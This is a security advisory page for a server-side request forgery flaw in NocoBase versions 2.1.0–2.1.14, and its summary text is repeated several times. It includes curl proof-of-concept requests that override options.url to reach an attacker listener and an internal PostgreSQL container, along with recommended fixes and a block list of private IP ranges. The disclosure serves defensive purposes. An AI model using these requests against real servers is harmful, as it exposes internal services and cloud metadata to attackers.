NocoBase is an AI-powered no-code/low-code platform for building business applications and enterprise solutions. Versions 2.1.0 through 2.1.14 contain a server-side request forgery vulnerability in the customRequests:send endpoint. A low-privileged authenticated user can override the stored request URL at runtime using options.url, causing the NocoBase server to send requests to attacker-controlled or internal destinations. Exploitation could expose internal services, Docker host gateways, or cloud metadata endpoints and allow the server to be used as a trusted network proxy. This issue has been fixed in version 2.1.15.
NocoBase is an AI-powered no-code/low-code platform for building business applications and enterprise solutions. Versions 2.1.0 through 2.1.14 contain a server-side request forgery vulnerability in the customRequests:send endpoint. A low-privileged authenticated user can override the stored request URL at runtime using options.url, causing the NocoBase server to send requests to attacker-controlled or internal destinations. Exploitation could expose internal services, Docker host gateways, or cloud metadata endpoints and allow the server to be used as a trusted network proxy. This issue has been fixed in version 2.1.15.
NocoBase is an AI-powered no-code/low-code platform for building business applications and enterprise solutions. Versions 2.1.0 through 2.1.14 contain a server-side request forgery vulnerability in the customRequests:send endpoint. A low-privileged authenticated user can override the stored request URL at runtime using options.url, causing the NocoBase server to send requests to attacker-controlled or internal destinations. Exploitation could expose internal services, Docker host gateways, or cloud metadata endpoints and allow the server to be used as a trusted network proxy. This issue has been fixed in version 2.1.15.
### Summary
A Server-Side Request Forgery vulnerability exists in NocoBase v2.1.10 in the `@nocobase/plugin-action-custom-request` plugin.
A low-privileged authenticated user can call the `customRequests:send` endpoint and override the stored request URL at runtime using `options.url`. This causes the NocoBase server to perform outbound HTTP requests to attacker-controlled or internal URLs.
* Product: NocoBase
* Version: v2.1.10
* Component: `@nocobase/plugin-action-custom-request`
* Severity: Moderate
* Required privilege: authenticated low-privileged user / member
Testing was performed only in a local Docker lab environment at `http://127.0.0.1:13000`. No public NocoBase instance was tested.
Lab environment:
* Docker image: `nocobase/nocobase:latest-full`
* Commit: `23e2bd35625439594e4757bac31d57c9e8e695b9`
* Database: PostgreSQL 16
* Containers: `nocobase-lab`, `nocobase-postgres`
* Docker network: `172.19.0.0/16`
* Important environment variable: `SERVER_REQUEST_WHITELIST` was not set
---
### Details
The vulnerable endpoint is:
```http
POST /api/customRequests:send?filterByTk=<key>
```
The `customRequests:send` action is allowed for any logged-in user:
```ts
// plugin-action-custom-request/src/server/plugin.ts
this.app.acl.allow('customRequests', ['send', 'listByCurrentRole'], 'loggedIn');
```
The request options supplied at runtime are merged into the stored request configuration. This allows a low-privileged user to override the stored URL:
```ts
// plugin-action-custom-request/src/server/actions/send.ts
const mergedOptions = {
...(requestConfig.options || {}),
...omitNullAndUndefined(runtimeOptions || {}),
};
const { url, ...options } = mergedOptions;
```
The URL is therefore attacker-controlled when the low-privileged user sends a request body such as:
```json
{
"options": {
"url": "http://attacker-controlled-host:18080/ssrf-proof",
"method": "GET"
}
}
```
If `SERVER_REQUEST_WHITELIST` is not configured, the server-side request whitelist check is bypassed:
```ts
// packages/core/utils/src/server-request.ts
const whitelist = process.env.SERVER_REQUEST_WHITELIST;
if (!whitelist || !whitelist.trim()) return;
```
As a result, a low-privileged authenticated user can force the NocoBase server to make arbitrary outbound HTTP requests.
---
### PoC
#### Step 1: Admin creates a valid Custom Request config
First, an administrator creates a valid Custom Request config. This is a setup step only.
```bash
BASE="http://127.0.0.1:13000"
curl -i -s -X POST "$BASE/api/customRequests:create" \
-H "Authorization: Bearer <ADMIN_TOKEN>" \
-H "Content-Type: application/json" \
--data '{
"key": "report-ssrf-demo",
"options": {
"url": "https://www.example.com/",
"method": "GET"
}
}'
```
Expected result:
```http
HTTP/1.1 200 OK
```
If the key already exists, this setup step can be skipped.
Evidence:
<img width="1467" height="619" alt="Admin creates Custom Request config" src="https://github.com/user-attachments/assets/77804709-ac83-479b-a99a-e1da531bb6d6" />
---
#### Step 2: Start an attacker-controlled HTTP listener
On the attacker-controlled host in the local lab:
```bash
mkdir -p /tmp/ssrf-poc
cd /tmp/ssrf-poc
echo "SSRF OK - request came from NocoBase server" > ssrf-proof
python3 -m http.server 18080 --bind 0.0.0.0
```
Example attacker host IP in the local lab:
```text
192.168.1.139
```
Evidence:
<img width="888" height="195" alt="image" src="https://github.com/user-attachments/assets/8360b4cc-c00d-42ae-a9e8-09125b126e89" />
---
#### Step 3: Low-privileged user triggers SSRF by overriding options.url
The low-privileged user calls `customRequests:send` and overrides `options.url` at runtime:
```bash
BASE="http://127.0.0.1:13000"
KALI_IP="192.168.1.139"
curl -i -s -X POST "$BASE/api/customRequests:send?filterByTk=report-ssrf-demo" \
-H "Authorization: Bearer <LOWPRIV_TOKEN>" \
-H "Content-Type: application/json" \
--data "{
\"options\": {
\"url\": \"http://$KALI_IP:18080/ssrf-proof\",
\"method\": \"GET\"
}
}"
```
Expected response:
```http
HTTP/1.1 200 OK
SSRF OK - request came from NocoBase server
```
Evidence:
<img width="959" height="570" alt="Low-privileged user triggers SSRF" src="https://github.com/user-attachments/assets/100ec9b5-005b-4322-90a7-f5018bf2ab77" />
---
#### Step 4: Attacker-controlled listener receives the server-side request
The attacker-controlled HTTP listener receives:
```text
GET /ssrf-proof HTTP/1.1
```
This proves that the HTTP request was made by the NocoBase server as a result of the low-privileged user's API request.
Evidence:
<img width="744" height="206" alt="Listener receives GET /ssrf-proof" src="https://github.com/user-attachments/assets/c26f89d4-88b4-46c2-a2fa-722e64899051" />
---
#### Step 5: Internal service reachability test
The same low-privileged user can target an internal Docker service:
```bash
curl -i -s -X POST "$BASE/api/customRequests:send?filterByTk=report-ssrf-demo" \
-H "Authorization: Bearer <LOWPRIV_TOKEN>" \
-H "Content-Type: application/json" \
--data '{
"options": {
"url": "http://nocobase-postgres:5432/",
"method": "GET"
}
}'
```
Observed response:
```json
{"message":"socket hang up"}
```
This indicates that the NocoBase server attempted to connect to the internal PostgreSQL container. PostgreSQL does not speak HTTP, so the connection is closed, but the internal reachability is confirmed.
---
### Impact
A low-privileged authenticated user can force the NocoBase server to perform arbitrary outbound HTTP requests.
Potential impact includes:
* internal service enumeration
* access to services only reachable from the server-side network
* Docker host gateway reachability testing
* reading responses from internal HTTP services when response bodies are returned
* potential access to cloud metadata endpoints in cloud deployments if not otherwise blocked
* use of the NocoBase server as a trusted network proxy
Confirmed in the local lab:
* attacker-controlled HTTP listener received a request from the NocoBase server
* internal PostgreSQL container `nocobase-postgres:5432` was reachable
* Docker host gateway reachability was confirmed
This can expose internal-only services to low-privileged users and can become more severe in cloud or production deployments where internal APIs, metadata services, or trusted network services are reachable from the NocoBase server.
---
### Recommended Fix
1. Restrict `customRequests:send` to administrators or specifically authorized roles.
```diff
- this.app.acl.allow('customRequests', ['send'], 'loggedIn');
+ this.app.acl.allow('customRequests', ['send'], 'admin');
```
2. Do not allow low-privileged users to override stored request URLs at runtime.
3. Require `SERVER_REQUEST_WHITELIST` by default in production Docker images.
4. Block private/internal IP ranges by default, including:
```text
127.0.0.0/8
10.0.0.0/8
172.16.0.0/12
192.168.0.0/16
169.254.0.0/16
::1/128
fc00::/7
```
5. Resolve DNS and validate the final resolved IP address before making the outbound request.
6. Revalidate the target after redirects.
7. Add SSRF regression tests for:
```text
localhost
127.0.0.1
Docker service names
private IP ranges
Docker gateway IP
169.254.169.254
redirects to private IP ranges
```
CISA KEV lists vulnerabilities known to be exploited. FIRST EPSS estimates the likelihood of exploitation in the next 30 days. An unavailable score does not mean zero risk.
Which CVEs have scores here?
This view includes predictions for CVE identifiers explicitly listed in public NuGet advisories. Microsoft release pages have their own prediction coverage. Check source status for the scope and latest checks.
No exploitation or prediction data is available here for these CVEs. This does not mean they are safe or unlikely to be exploited.
Risk history
Compare earlier KEV listings and daily EPSS scores. Advisory wording and affected versions have a separate history.
When does an EPSS score appear as a change?
A prediction change is reported when EPSS rises from below 10% to 10% or higher. Other daily score changes remain in this history.
Advisory history
8 saved versions
See how the publisher's advisory changed over time. Each link opens the version saved at that time. The publisher's update date can differ from the date shown here.
How advisory history works
Each link identifies one complete publisher record. History can include advisories that previously shared an identifier; an identifier removed by a publisher no longer establishes a current relationship. A historical link shows only that record and earlier saved versions. Failed checks and unchanged reads do not create new versions.
NocoBase is an AI-powered no-code/low-code platform for building business applications and enterprise solutions. Versions 2.1.0 through 2.1.14 contain a server-side request forgery vulnerability in the customRequests:send endpoint. A low-pr…
NocoBase is an AI-powered no-code/low-code platform for building business applications and enterprise solutions. Versions 2.1.0 through 2.1.14 contain a server-side request forgery vulnerability in the customRequests:send endpoint. A low-pr…
NocoBase is an AI-powered no-code/low-code platform for building business applications and enterprise solutions. Versions 2.1.0 through 2.1.14 contain a server-side request forgery vulnerability in the customRequests:send endpoint. A low-pr…
NocoBase is an AI-powered no-code/low-code platform for building business applications and enterprise solutions. Versions 2.1.0 through 2.1.14 contain a server-side request forgery vulnerability in the customRequests:send endpoint. A low-pr…